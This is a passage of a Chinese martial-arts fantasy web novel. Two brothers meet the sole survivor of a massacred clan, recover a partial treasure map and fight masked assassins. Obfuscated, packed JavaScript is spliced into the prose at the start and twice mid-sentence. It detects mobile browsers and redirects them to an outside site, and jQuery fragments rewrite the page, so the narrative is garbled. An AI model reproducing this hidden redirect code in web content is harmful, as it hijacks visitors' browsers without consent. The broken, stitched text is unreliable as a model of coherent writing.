l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950930|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当时是个乱世,他们如此作为,竟然没有引得众人讨伐吗?” “唉!就因为是个乱世啊,那个时候是真正的凭实力说话,他们虽然相当自负,可的确拥有自负的资本,武功之高强,令那一代的人们望尘莫及。” 林家主紧握着酒杯,沉声道。 “如何没有人打着大义的旗号围攻他们呢?只不过通常是去送死罢了,就算他们不敌,只要让他们跑了,回头参与过围攻的人,都会被他们一个个找上门去。” 林家主皱着眉,不知是有谴责之意,还是暗含了几分惧怕。 “曾有一个依水而建的家族被他们找上门去,一夜过后,整条河都被染红了,之后就再也没有什么人不自量力的去找他们麻烦了。” 云修云在忙碌中向林家主发问。 “他们做了很多恶事吗?” 林家主感慨的摇摇头。 “非也,非也啊!那对兄妹做事全凭心意,他们前一天可以毫不留情的灭杀一个门派,后一天就可以用灭门得来的钱财去救助路边快饿死的孩童,孤寡的老人,甚至于要考官的寒门子弟。他们随心而做的好事和他们任性妄为犯过的杀孽却并不好说哪个更多一点。爱他们的人,赞他们的真性情,恨他们的人,只说是魔头用来遮掩恶劣行径的手段罢了。” 云修云听了倒觉得他们十分有趣,云修泽想的却是,那么喜怒无常的人,留下的藏宝地,难道真的不是一个恶劣的玩笑吗?就算不是玩笑,又如何能被轻易找到呢? “他们做的这些事,仅凭他们两个人?” 林家主神色无奈的点了点头。 “没错,仅凭两个人。也许偶尔他们身边会有一两个好友,但绝大部分都是他们两个人完成的。” 云修云嘴里塞着东西,模糊不清的发出了一声赞叹,云修泽没去管他,问道。 “可知他们的好友是谁?” “无人知晓。” “世叔这里可有双生子的画像?” 林家主嘿嘿笑起来,拍了拍云修泽的肩,道。 “别说世叔这里了,哪里都没有!当年因为他们出色的容貌,有人将他们的画像挂在了青楼、歌舞坊这等风流之地,被他们知道后,估计是心里不舒服,连夜把挂着他们画像的地方一把火烧了个干净,并放言不许再画他们的画像,现有的也要毁掉,如若让他们发现,便是灭门之灾,可惜我也只在年轻时匆匆瞟过一眼,没能有幸欣赏世间绝色。” 云修云好奇地看着他。 “他们的容貌很出色吗?” 林家主十分认同的点了点头,赞道。 “他们从来都只穿红衣,可红衣艳丽,亦不敢与他们争锋。” 说到这里,林家主似乎想起了什么。 “正好我这里有位客人,美总是有相通之处的,你们可以按照她的姿容来想想当年双生子的风采,当然,如果见到了,你们两个小子可万莫给我唐突人家。” 云修泽沉默了一会,突然换了个话题。 “世叔可知道最近唐家的灭门惨案?我们途经那里,便正好去看了一眼,的确印有不知真假的双生子的记号,整个唐府还都开着用来保护贵重物品的回盾结界,来之前我试探过了,只怕要两日后才能消散,我欲前去一探。” 说起这个,林家主原本有些微醺的神情变得清明起来。 “我自然知道,即使你不问,我也打算跟你提一嘴,现下正好,今日你们安心住下,明日,我为你们引见一个人。” 交谈到此,天色已然是不早了,这顿饭虽然主要是云修云在吃,但剩下两人也都差不多吃好了,林家主揉了揉额角,表示自己乏了,让他们先行退下,剩下的事明日再说。 两人起身告别,由小厮领着前去休息的厢房。 云修云到了休息的院子,不知是醉饭还是醉酒,只觉得有些头晕,昏昏欲睡,可又不愿进到屋子里闷着,便晃晃悠悠,不知从哪儿找了棵好树,用最后一点力气把自己安顿了上去。 今晚,是上弦月。 树上的风景很好,微风也拂的正合人心意,他迷迷糊糊的闭上眼,却没能注意到这个树栽的位置并不在他的院落。 而此刻正有窈窕佳人,怀抱七弦古琴,踏着如水的月色款款而来。 4. 孚望四 云修云在树上小憩,思绪不清时只觉得自己睡得十分舒适。等他稍微有些清醒时,便开始有意识的享受周围的一切。 月光的柔和,微风的吹拂,树叶沙沙的声响,还有带着愁思之意,清幽悦耳的琴音。 云修云迷迷糊糊的想,这个最合他的心意,只恨不得要与这琴音夜夜相伴入眠才好。 嗯......余音绕我,三日不绝才好...... ...嗯......琴音...... ...嗯......嗯????? 树上打盹儿的云修云猛地抖了一个激灵,睁大了双眼,一个激动就要坐起身来,事实证明,有的时候你以为你醒了,而你的脑袋会跟你说,孩子,你想多了。 这棵树并没有几百年的高寿,本身的树种也不在十分粗壮之列,于是虽然并非云修云的本意,他还是十分顺利的因为这个举动从树上摔了下去。 落到半截儿,身体的本能替他保住了脸面,只见他迅速的在空中调整了自己的姿势,以一个算不上太过完美的动作安全落地,还没等他缓过神来,便听见一声惊呼,紧接着就是桌椅被带倒的声响。 他抬头的动作刚刚进行到一半,便有一个护卫模样的人晃身到了他面前,正手持一把冒着寒光的长刀面对着他严阵以待。 云修云虽然还没有搞清楚是怎么回事,但是多年和大哥切磋打架的本能已经开始调动他的身体,让他瞬间就进入了一个进可攻退可守的防御姿态。 然后他就后悔了,从小到大,每年他和大哥都会有一小段时间借住在这里,世叔家里有专供他们兄弟二人休息的院子,而这里显然不是他的地盘,看这棵树倒像是旁边那座常年闲置的院落,刚才席间隐约听他们说起有外客来访,想来便是住在了这里。 云修云暗自气恼自己头昏了竟然闯到别人院中,正当他站直身体想解释时,更后悔的来了。 在那个护卫身后,背对着他站着的明显是个姑娘,而且还是个衣着单薄,只披了一件外袍的姑娘,旁边的桌案上放着一把古琴,矮凳在在她受惊时已经被慌乱踢倒。 现在的情形已经很明显了,人家小姐借住在这里,也许本来已经和衣准备睡下了,却突然来了雅兴,来到自己所住的院子中对月拨弦,而他,就是那个不知道怎么闯进这里,盯上了人家姑娘,不知是准备行刺的刺客还是另有所图的不轨之人! 本来他还有些不爽这人直直的拿兵刃对着他,现下看来,实在算不得冤枉。 云修云手足无措的站在那里,张大了嘴巴,想说些什么,却觉得自己的舌头像是打了结一般,一个字都蹦不出来。 “欸!不是...走错了...不是故意的...你你你我......对、不住对不住!!” 他手忙脚乱的一顿连比划带说,算是蹦出了几个字儿,虽然有些颠倒错乱,但也大概是把意思说明白了。想来她一个姑娘家住在这里,今日府中来了两个外男,王叔也肯定是已经差人告知过她。 那姑娘听了他的话,迟疑了一下,才犹豫的转过头来打量他。 这个举动让云修云如同被她施法定住了一般一动不动,他的眼眶微微睁大,直愣愣的,眼中映出了一抹白色的身影。 刚刚从月亮身旁路过的薄云已经彻底离开了,晚夜温凉,月光偏爱的簇拥着她,将温柔的颜色洒落她的身边。 没有珠钗点缀,散着发髻,泼墨的长发和身上单薄的白衣一起随着微风轻轻摆动,衬得她的身形腰肢愈发的纤瘦。 她回头看他,眼眸只轻轻动了一下,虽没有顾盼之举,却有着因盼睐而倾城的冲击。 注意到云修云直白的目光,她又轻颤两下,垂下了双眼,朱唇微微抿着,长发拂过她的面容,迷蒙了她的容貌,也迷蒙了痴人的心。 “......啊...仙女......”云修云呆呆的开口。 虽然她知道他也许是无心之失,却也还是忍不住露出了一些恼羞的神色,只能低声骂他道。 “登徒子!” 她的衣着单薄,不愿在这里久留,轻骂这一句后,就转身快步离开了这里。 看她误会离去,云修云知道自己应该追上去认真的和她解释一下事情的来龙去脉,但他控制不了自己。 此时此刻,他只想为她奉上一支珠钗。 * 第二日。 叔侄三人聚在一起用饭,饭后又移步到前厅喝茶,茶叶是从别地收来的尖货,茶水温热着,散发出的味道也十分的清香宜人。 云修泽喝了一杯后,就不再添茶,反而将象牙杯放在手中轻轻转动着把玩,他向林家主问道。 “世叔,子竹还有些疑惑,双生子十四五岁初出茅庐,又是何年岁失去了踪迹呢?” 林家主十分喜爱这茶,忍不住有些贪杯,听到云修泽的话,抬眼思索,捏手算了算。 “等我我想想啊......大概和你差不多大的时候吧!风华正茂的年纪,不知为何就突然没了音讯,直到四五年前才流传出地图的消息,无论他们留下的是积攒的财富也好,还是所习得功法也罢,总归是叫人蠢蠢欲动的,无论真假也愿试上一试。” 说罢,他低头吹了吹茶水腾升的热气,说道。 “昨天说要为你们引见一个人,正是我说过的那位唐小姐,我已叫人去请了,待会便到。青玉这是怎么了?今天一直心不在焉的。” 云修云单手撑着脸颊,呆愣愣的沉浸在自己的世界里,没能听到林家主的问话。 啪! 直到云修泽拍了他一下。 云修云一个激灵,抬头一看,就见两张笑脸对着他,于是讪讪笑道。 “怎...怎么了...?” 云修泽收起和善的笑容,有些奇怪地问他。 “世叔问你话呢,你怎么了?今天怎么尤其的傻?” 云修云瘪了瘪嘴,没敢说什么,只有些心虚。 “那什么...我见着仙女了...” “......” “......” 等他将来龙去脉讲清,屋内便传来一声怒喝。 “什么!!!” 屋檐上的鸟雀霎时振翅,四散而逃。 林家主随手抄起了墙上用来装饰的长剑,追着云修云绕着云修泽的桌椅绕圈,一个心虚逃跑,一个怒气冲冲。 云修云一边上蹿下跳,一边气短的大声解释。 “我又不是故意的!!!我那是醉了!!没注意!!!我错了世叔!!您轻点!!别闪了腰!!!” 林家主只觉得他滑不溜手像个泥猴子一样,怎么抓也抓不住。 “好你个臭小子!!我说的什么??!!我昨天刚说了什么!!!!不要给我唐突人家!!!你可倒好!!下了饭桌就上了人家院子里的树!!!你想干什么???啊?!” 云修泽被他们围着,时不时还要歪一下身子,避免被他们误伤,手上动作不停,又添了一杯茶,岁月静好般的慢饮着。 这场闹剧直到管家王叔的到来才被终止,似乎对眼前的情景见怪不怪一样,王叔笑着说道。 “老爷,唐小姐到了。” 林家主站在云修泽面前怒气未平,云修云躲在云修泽的背后警惕陪笑,云修泽淡定喝茶。 “世叔,先坐下吧,把人请进来,别让人久等了。” 林家主这才怒哼一声,拂袖回到座位上,对王叔说道。 “把人请进来!” 云修泽垂眸思索,直到有轻微的脚步声传来才抬眼向人看去。 今天之前,云修泽也自诩见过不少美人,但从未有人像这个唐小姐一样,美得摄人心魄。 他仔细观察着她,白色的衣裙,有淡粉色的纹样点缀,衣摆随着她的步伐翻动,从仪态来看,肯定是大家族出身。 五官容貌是张扬的美,可偏偏未施粉黛,发髻梳的也是十分温婉的样式,几样简单的发饰,等她轻轻抬眼看你,清水芙蓉般大家闺秀的形象就已经呈现出来。 这样的美人,便是前夜他在唐府中遇到的那个女子,也要逊色三分。 云修泽眯了眯眼,看来镜双子的姿容,也绝对的夺人眼球,如此出色的容貌,丢入人群中,肯定不难找到。 那女子和一个护卫一同走上前来,护卫抱拳行礼,而她冲着林家主盈盈一拜。 “思月见过家主。” “起来吧,快坐。” 林家主又恢复到之前儒雅随和的模样,笑着喊她起身。 唐思月又谢过林家主之后才坐了过去。 “思月啊,我给你介绍一下,这两个是我一位世交的儿子,姓云,大的叫云修泽,小的叫云修云。” 随着林家主的话,兄弟二人依次站起来向她见礼,唐思月向云修泽回礼,抬眼看了看云修云,似乎对他心有芥蒂,却也轻轻向他回礼。 云修云有些无措,林家主一见便知是怎么回事。 “思月,我刚刚听这个臭小子说,他昨天不小心走错院子,唐突了你,林叔代他向你道歉,这臭小子平时没心没肺的,但是心思单纯,不是那种无礼之徒,昨日他们来,我心里高兴,便同他们喝了几杯,谁知竟让这个傻小子晕乎乎的走错了地方!实在是对你不住,让他好好给你赔礼道歉。” 云修云不断地偷瞄她的神色,小心翼翼的开口。 “对不住了唐姑娘,我实在是无心之失,昨日晕着,找了棵树,便上去小憩了一会儿,没想到唐突了你,只要你能原谅我,是罚是打我都认了!” 云修泽倒也不偏袒他。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950931|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正是,唐姑娘,这事儿是他做的不对,只要你开口,我便替你罚他。” 三人你一句我一句,倒让唐思月心里的别扭消散了些,她微微弯唇。 “不妨事,倒也没真的唐突了我,既然是无心之失,又已经道过歉,罚就不必了。” 云修云见她笑了,也有些开心,连忙道谢。 “多谢唐姑娘!我定铭记于心,再不会犯第二次了。” 林家主由着三个年轻人叙话,等他们说的差不多了,才开口介绍。 “这位是思月,姓唐。” 云修泽问道。 “是唐府的那个唐吗?” 唐思月露出了哀伤的神色,轻声回他。 “正是,我是唐家唯一的遗孤,自幼时起我就体弱多病,不能修习家中的功法,而家中关系复杂,我父亲身为族长,却无暇顾及我,为了保全我,常年将我放在府外,又对世人隐瞒了我的存在,却不想...竟让我成为了唯一的幸存者......” “哦?那你身后的这位兄弟是?” 唐思月身后站着的男人似乎没想到自己能被提起,他带了一张遮住全脸的面具,叫人只能看见他深邃的双眼,他不着痕迹的看了一眼云修泽,冲三人抱拳说道。 “行愿,小姐的护卫。” 他的存在感好像很低,叫人无意识的想要忽略他,此刻被提起来,才让人去打量他。 黑衣绣着暗纹,腰间佩着一柄长刀,刀鞘上没有名字,身姿挺拔,静静的站在那里,当你注视他时,只会觉得他像一柄沉默无锋,但又时刻准备着战斗的刀刃。 云修云想起昨夜有人挡在他身前,应该就是这个叫行愿的人,但当他仔细回想时,却丝毫想不起他当时的样子。 行愿的性格沉默,不愿多说,于是唐思月接过他的话说道。 “行愿是我很多年前救回来的,之后他无处可去,便一直在我身边了。” 云修泽点了点头,又温声问道。 “那唐姑娘为何现在在世叔家中,又是何时听说的唐府的事情?” 唐思月轻轻摇了摇头。 “我是被家主带回来的,当时根本不知道这件事情,事发的第二天,林家主碰巧找到我,担忧我的安危,将我接了过来,我不知道发生了什么事情,因此,虽然家父与林家主有旧,却也并不想麻烦家主,家主无奈,这才将事情告知了我。” 林家主轻咳了两声。 “确实,其实早年间唐族长救过我一次,我一直想要报恩,你们也知道,我做到现在这个位置总是有些手段,便查到了他有个体弱的漂亮女儿,于是四处搜集珍贵的药物,正好这次回来交给他,想要偿还一二,却不想没能用上。” 说完,他又向唐思月问道。 “思月啊,你们唐家的事恐怕并不是个意外,大约是有人寻仇,我这两个侄子有些线索,这两天正准备去看上一看,你可愿随他们同去?” 唐思月听闻,一下子抬眼看来,与柔弱的姿态不同,她的话透出一种出乎意料的坚韧。 “我愿意!多谢家主成全,还要麻烦两位公子了。” “不麻烦不麻烦!!举手之劳,能帮到你就再好不过了!” 云修云听了连忙摆手,笑容里流露出一点傻气。 云修泽没有开口,却也对她微笑点头示意无妨。 等到唐思月离开,云修泽才向林家主问道。 “世叔为何要她与我们同去?” 林家主轻叹了口气,有些疲惫的靠在了椅背上。 “你们有所不知,根据我查到的,唐家人十分注重血脉,按照你们的说法,如果唐家真的藏了什么重要的东西,哪怕那个结界破了,没有唐家的直系血脉,恐怕你们也拿不到手。更何况她还是我恩人的女儿,能够帮到她一些也是好的。” 云修泽皱了皱眉,没想到这件事情居然这么复杂,但是唐思月的出现,正正好好补上了缺失的一环。 “您之前没有见过她,可查过他们的身份了吗?” 林家主终于放弃了喝茶,将杯子推到一边。 “我知道你想说什么,我虽然没有见过唐族长的女儿,可这个人的确是存在的,我曾经派去查探的人也说过她很是貌美,至于她那个护卫,我也派人查过,虽然能查到的很少,但也没什么问题。” 云修泽听闻才算是放心些,点了点头。 那边林家主长叹一声,没再说什么,挥手表示让他们自己玩儿去,本人倒是步伐不慢,比他们先一步出了院子。 云修云随云修泽出了门,好奇的问。 “世叔干嘛去了?怎么走的那么急?” “......” “...喝了那么多茶,估计是茅厕吧.......” “......” 5. 孚望五 林府外。 一辆宽敞舒适,却也十分低调朴素的马车静静的停在那里。 云修云站在马车前,想起自己之前潦草的日子,简直要被感动得热泪盈眶。 “我要告诉世叔我爱他!!!” 云修泽已经对自己这个傻弟弟免疫了,他勾着云修云的脖颈将他拉到一旁,指了指门内正被小厮牵着走来的两匹马。 “云修云,你能不能让你的脑袋像一个正常人的想法一样拐个弯?马车是给唐姑娘准备的,她体弱,受不了剧烈的颠簸,你想干嘛?还嫌之前冒犯的不够是不是?无亲无故的想跟人家一个未出阁的小姑娘挤一辆马车?你不要你的马了?” 云修云一个丝滑转身,直接接过了小厮手里的缰绳,一把捂住马的耳朵,轻声哄它。 “不不不,哥不会不要你的,你别听他瞎说!” 他转头冲着云修泽的背影小声嘟囔。 “你脑袋才不拐弯儿!” 谁知云修泽头也不回,用灵力取了一块地上的小石头,向后一扔,十分精准的砸到了他。 云修云轻声痛呼,揉了揉自己被砸到的地方,冲着云修泽不断的做鬼脸,在他微笑转头时,又瞬间切换成一副乖巧的模样无辜地看着他。 云修泽无奈,转头看到了向外走来的林家主、唐思月和行愿三人。 林家主停在大门处,冲唐思月温声叮嘱。 “思月啊,你不要太勉强自己,万事以自己的身体为重,有什么需要跟这两个小子说,他们要是照顾不好你,回来我是要问他们的责的。” 唐思月向他垂目一拜,温文尔雅的笑道。 “思月记得了,多谢家主为我费心。” 云修泽迎上前来,向林家主保证。 “还请世叔放心,我们定然照顾好唐姑娘,必不叫她有一点损伤。” 后面的云修云也不住的点头。 林家主捋了捋胡子,还算放心他们两个。 “去吧。” 唐思月在行愿的搀扶下弯腰进了马车,而行愿则让车头的小厮离开,自己坐了上去,一副要亲自驾马车的模样。 林家主对不知所措的小厮点点头,示意他退下,又对身边的云修泽轻声说道。 “你们只要看顾她不被别人近身就行,不用过于小心,她并不是真的手无缚鸡之力的人,虽然不能修习过于强势的功法和体术,但在音攻一道上颇有造诣,而且出身唐家,对医毒都十分擅长,有的时候甚至能给你们不小的帮助,此去,你们记得要谨慎行事,万不可冲动。” 云修泽听后,神色微微一动,似乎在心里有了什么考量,片刻后才缓缓开口。 “子竹知晓了,请世叔放心。” 林家主无言拍了拍他的肩膀,送两兄弟上了马后,才转身离去。 顾及着唐思月的身体,两兄弟并没有像之前一样驾马奔驰,而是带着马车不紧不慢的赶路,直到天色有了一抹擦黑,几人才到了唐府所在的地界。 用过饭后,云修泽轻声对唐思月叮嘱。 “今夜丑时集合,为了行动方便,还请唐小姐换上颜色不显眼的服饰,不必太过紧张,除了行护卫,我们也会护你周全。” “嗯!”唐思月攥紧了双手,认真的点了点头。 等到了时间,唐思月换上了一身黑色的劲装,行走间竟有种锋芒毕露之感,若不是她的脚步虚浮无力,恐怕所有人都会以为这是一个高手。 云修泽感到有些意外,只不过是换了一身衣服而已,同一个人竟然能有两种截然不同的气质,可等唐思月来到他们面前,往那里轻轻一站,抬眼看来时,就又没有了那种感觉。 看来是错觉,云修泽暗暗想到,却听到一旁云修云突然发出一声轻笑,他随声看去,见到云修云有些忍俊不禁的指了指唐思月身后行愿的面具。 “行大哥这么严谨吗?连面具都换成黑的了哈哈,这下真是从头黑到了脚,谁也看不见了哈哈!” 云修泽一看,眼底登时闪过一抹笑意,他低下头,轻咳一声后低声训斥云修云。 “胡乱调侃什么呢,没大没小的,还不快给人家道歉。” 行愿比他们都大,云修云收了笑声,脸上却还带着笑,毫无心理负担的向他卖乖。 “是我失礼了,行愿大哥可千万不要往心里去。” 行愿点了点头,没有出声,却将刀拨出了半寸,刀身银白,在他黑衣的衬托下变得十分显眼,他似乎在无言的说,可以以此来分辨我的位置。 云修泽勾起了唇角,觉得他的性情十分的认真,怪不得能因为恩情留在唐思月身边,无微不至的看护了她那么多年。 几人顺利碰头后,就一起前往了唐府,云修泽一试,结界果然已经消散的差不多了。 于是云修泽打头阵,行愿殿后,四人依次进了唐府。 迈进了唐府,看着眼前的惨状,唐思月抿起嘴,皱着眉头紧紧闭上了双眼,似乎像是不愿看到这幅景象一般。 行愿拍拍她的肩,将她半揽了过去,唐思月将额头抵在他的肩上,似乎是在抽泣,肩膀微微耸动着,美人落泪已叫人心疼,更何况她还哭得无声。 三人无言的陪着她,她今年才十七岁,和云修云一般大,哪怕是已经及冠的云修泽,遇上了这等灭门之灾,也肯定难以承受,更何况她了。 那边的大云小云还在想着要不要找什么话安慰一下她,她却出乎意料的坚强,并没有让自己沉浸在悲伤里太久,背对着他们擦了擦眼泪,转过来时眼眶还红红的。 “我们走吧,不能耽搁太久。” 这倒让云修泽有些钦佩她,温和的点了点头。 “你且安心,唐家所有人的尸首,都已经被官府好生安葬了。” 唐思月感激的冲他笑了笑。 四人一路来到之前的小房子前,结界已经脆弱的可以让人无视了,云修泽转头问唐思月。 “唐姑娘可知道这是什么地方?” 唐思月端详了一会儿,摇摇头有些遗憾的说。 “我也不知道,我从小就不住在这里,来这里的次数也是少之又少,父亲也不会和我说这些。” 云修泽点点头也没再说什么。 结界已经彻底消失,云修泽推开小房子的门。 “吱呀——” 随着门被推开,房间内的东西也一目了然的呈现在他们眼前。 一个圆形的石台上刻着结界的法印,颜色鲜艳而且零散的小水晶围了一圈,最中间则是已经失去了光芒的六合灵石,这是一种比较少见的充满了灵气的晶石,通常用来辅助修炼,效果很是不错,这么大一块,唐家倒是舍得用来供应结界。 除了这个,房间里就仅有一个不大的木箱了,木箱底部还刻着一个小型阵法,云修泽想将它打开,却发现无论如何都无法成功,甚至于提剑劈去,也留不下一点伤痕,他将箱子拿起来,左右看了看,口中喃喃自语。 “原来如此,怪不得呢。” 云修云看他一个人折腾来折腾去,也折腾不出个所以然来,想起他那从小到大,无论是多难搞的东西或者事情,宁愿把自己关在房间里,三天三夜不出门的研究,也不愿找别人帮忙的性子,正有些着急,按耐不住的想主动请缨尝试,就见云修泽把箱子往唐思月面前一放,拍了拍它。 “还请唐姑娘一试。” 回头就瞧见了云修云见鬼的表情,大云顿了一下,笑容可亲的和小云对视,小云机智闭嘴。 唐思月神色有些好奇,摇了摇木箱,侧耳去听,却什么也听不见,又伸手去开,木箱纹丝不动,一点面子都不给。 唐思月盯着那个箱子,倒也没有气馁,盯了一会,突然拔出了行愿的刀,用手掌握住轻轻一划,鲜血顿时就流了出来。 行愿对她应该是不设防,自己的佩刀,轻易就让她得了手,见她手掌被划伤,整个人都僵在那里,似乎是不知道该怎么办一样无措。 二云也被她惊到了,云修云立马就想上前去为她止血,却被云修泽拦了下来。 只见唐思月将血滴在木箱上,随着鲜血落下,木箱底部的阵法像是活过来一般,旋转着一下就展了开来,仿佛是箱子的底座,泛着淡黄色的光芒嗡动,同时内里传来了像是机括开合的声响。 随着咔哒一声,阵法不断闪烁明灭,很快就慢慢消散了,木箱落回唐思月手里,唐思月没去管受伤的手,直接打开了箱子。 箱子分为两层,第一层放着一支带着铃铛的穗子,从波动来看,应该是用来储物的灵器,几人不知所以,只有唐思月动了动,发出了一声轻响,她将穗子拿出来,把神识探进去后,笑着沉默了好一会儿才开口。 “这是我幼时的爱物,我还当他忘了呢,没想到父亲竟然将它练成了储物用品,这里面都是唐家的财物,还有不少是女子用的小玩意,应该是父亲给我留的。” 几人沉默地点点头,云修泽对她说道。 “既然是你父亲给你留的,你就收下吧,总要叫他在天之灵,能够放心你。” 唐思月把铃铛攥入手中,笑着道谢,整个人都被一种浓浓的哀伤所笼罩。 她将穗子收起来,又将木箱的隔层拿走,第二层,是一份卷起的地图。 云修泽与云修云对视一眼,云修云惊讶中带着点疑惑,云修泽则透露出了一份思索。 云修泽上前将地图拿了起来,摸了摸它的用料,又将它展开看了看,边缘残缺,这是一份不完整的地图。 这是,镜双子的地图! 云修泽捏着地图的手紧了紧,忽然抬起了眼,那边行愿正拉着唐思月的手腕为她止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950932|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血,也和云修泽一样,在同一时间似有所感的抬起了头,眼神动了动,拉着唐思月的手腕骤然将她抱了起来,急速地向后退去。 云修泽也反手将地图收入了玉佩中,快步后撤,一手抽出禇闲,一手用剑鞘把云修云向后拨去。 “轰隆————!!!” 随着一声巨响,屋顶轰然塌陷,砸在了他们刚刚站的位置上,云修云很快反应了过来,转手抽出司越剑,在空中借着落石调整姿势。 安全落地后,二云和怀抱着唐思月的行愿对视一眼,不约而同飞身离开了房中,等到他们在空旷的院中落定,唰唰唰几声,几个黑衣人就落在他们四周,将四人团团包围。 为首的那个人似乎不太熟悉通用语一般,说话的音调十分怪异。 “地图,交出来,放你们走。” 云修泽唇角带着笑意,温度却不达眼底,开口十分有礼的说。 “实在抱歉,父命难违,这东西,我非要不可。” 话还没落地,人就一个矮身,失去了踪影,下一个瞬间,就出现在了神秘人首领的背后。 可惜没能一举得手,冰做的屏障凭空出现在神秘人身后,挡住了禇闲的攻势,一击不成,云修泽毫不恋战,果断后撤,他落在附近的一棵树上,正欲再起,脚踝就被藤蔓缠缚。 左后方有一个人正面对着他的方向双手撑地,显然是藤蔓的控制者,他本想将藤蔓斩断再快速离去,余光却瞥见了云修云已然悄声到了那人附近。 于是故意停顿了一下,只这一下,在战斗中就足以致命,那人看准了这个间隙,更专注的控制起更多的藤蔓向他刺去,却见云修泽唇角一勾。 不好!!上当了!!! 那人马上就意识到了陷阱,立马想要转移,却在转头的瞬间被云修云一把抹了脖子,随着他的死亡,藤蔓也失去了控制,回到了正常的模样。 云修云得手,马上变换位置,下一瞬,他刚刚站的地方就有三枚冰刺极速钉入,若不是跑得快,恐怕就要血溅当场。 上空传来扑簌扑簌的拍打声,云修泽在与头领缠斗的间隙迅速向上望了一眼,只见一个黑衣人背生双羽,腾空而起。 以他为中心,周围凝聚起灵力幻化的羽毛,密密麻麻铺满了上空,随着他弯曲身体,一声怒喝,就犹如千万支利箭一般向他疾驰而来。 “我靠!!还能这么玩吗??” 云修云那边抽不出手,瞥见这边的情形,想要快速结束战斗去支援云修泽,却无奈自己这边也是个控冰高手,一时之间竟无法甩脱。 云修泽反身一个横踢想要借机接近头领,用他来为自己挡伤,却没想到他早就有所防备,根本不接招,向后退去的同时,伸手在两人之间筑起一道冰墙,让云修泽无法躲避上方的攻击。 “铮————” 一声含有灵力的琴音传来,音波荡过,空中的羽箭全都被平扫了下来,再无半点杀伤力。 是唐思月出手了。 她怀中抱着云修云见过的那把古琴席地而坐,行愿以她为中心,游走杀人,不让人趁机接近她。 云修泽与唐思月两人对视一眼,互相点了点头。 只见唐思月沉气再次拨动了琴弦,她的琴音变化无常,上一秒还是干扰神智,下一秒就是攻伐之意,但是因为针对的是所有的敌人,所以灵力分散开来,效果并不能完全制服所有人,只能在每人身上都发挥个三四成。 但仅是如此,也足以干扰他们的行动,给了云修泽三人很好的辅助。 随着死去的黑衣人越来越多,头领也被缠的不耐烦起来。 只见他瞳孔骤然间变成了水蓝色,周身的气势攀升,云修泽暗道不好,抽身后撤,抬头的一瞬间,他仿佛看见了一片巨大的海浪呼啸着向他拍来,水中还有一头凶猛的海中妖兽狰狞前扑。 与云修云缠斗的那个见状,立马放弃了云修云,一个闪身奔到头领身后,按住他的肩膀为他输送灵力,云修云也立刻向云修泽赶去。 唐思月咬牙,汇聚了全身的灵力拨弦想要抵挡,可是音波与海浪只对抗了片刻便被拍碎,唐思月也因此受了伤,轻哼一声,嘴角渗出了鲜血,行愿闪身到她身边撑住她,带着她向后撤去。 虽然只抵挡了一瞬间,但也足以为云修泽争取时间,他瞳孔骤缩,不退反进,将灵力不要钱一般灌输在禇闲身上,带着它向妖兽快速冲去。 云修云已经到了,他将为头领输送灵力的那个拨开,重新拉着他缠斗起来,海浪和妖兽的气势顿时弱了几分,那人刚刚灵力耗费太多,此时已经不是云修云的对手,几个回合就被他斩于剑下。 这边云修泽抡臂向前,借着禇闲的重量和惯性,在空中转了个身,完成了蓄力,挥剑的那一瞬间,他开口大喝。 “明——青!!!” 6. 孚望六 “明——青!!!” 随着他的声音,一柄长剑破空而来,转瞬间,就到了妖兽身后。 一名陌生的女子不知是什么时候出现在这里,她的速度极快,纵身一跃,便到了那柄长剑的位置,蓄力也要比云修泽快上许多,灵力注入,那柄长剑剑身的蓝色就发出微微的光晕,外放的杀气锋芒与云修泽相比也不遑多让。 众人睁大了双眼,只见两人一个在上,一个在下,用一般无二的动作在霎那间穿过水幕,两剑相遇,妖兽便哀嚎一声陨命于他们的剑下,海浪也顷刻而散。 黑衣人的首领捂住心口,显然受了不轻的内伤,口中不断有鲜血涌出。 该死!他根本没有察觉到这个陌生女子在周围! 他飞快地左右看了看,如果仅仅是云修泽,他断不会如此狼狈,可这个变数让一切化为了泡影,今天别说是拿到地图,便是他有没有命活着回去都不好说! 他一咬牙,调动身体透支灵力,双手在胸前快速结了一个空间法印,立刻就要远遁。 云修泽与明青看出他的企图,快步从两侧包抄过去,眼见着就要赶不上了,行愿却不知道突然从哪里冒了出来,一刀下去,黑衣人首领就彻底没了抵抗之力。 至此,前来围攻他们的黑衣人,除了苟延残喘的首领,已经全部死于他们的剑下。 几人围了上来,还没等他们问什么,黑衣人首领就咬碎了口中藏的毒药,一个呼吸间就彻底死透。 云修泽挑下他的面罩,发现是一个长相毫无特点的中年人,刚才死去的人,但凡面罩在打斗中掉落的,都是五官平平,属于扔在人堆儿里,你稍一不注意就会找不到人的那种。 看来是专门培养的死士。 云修泽面无表情的想。 几名黑衣人的尸骨很快就化为了灰烬,只留下了几枚色泽莹润的内丹。 云修泽转动手腕,几缕灵气便带着那些内丹乖巧的到了云修泽的手上。 “妖丹。” 一旁的明青突然开口。 “留着吧,内丹上一般会有主人的气息,以后有机会去佘渊可以探查一下。” 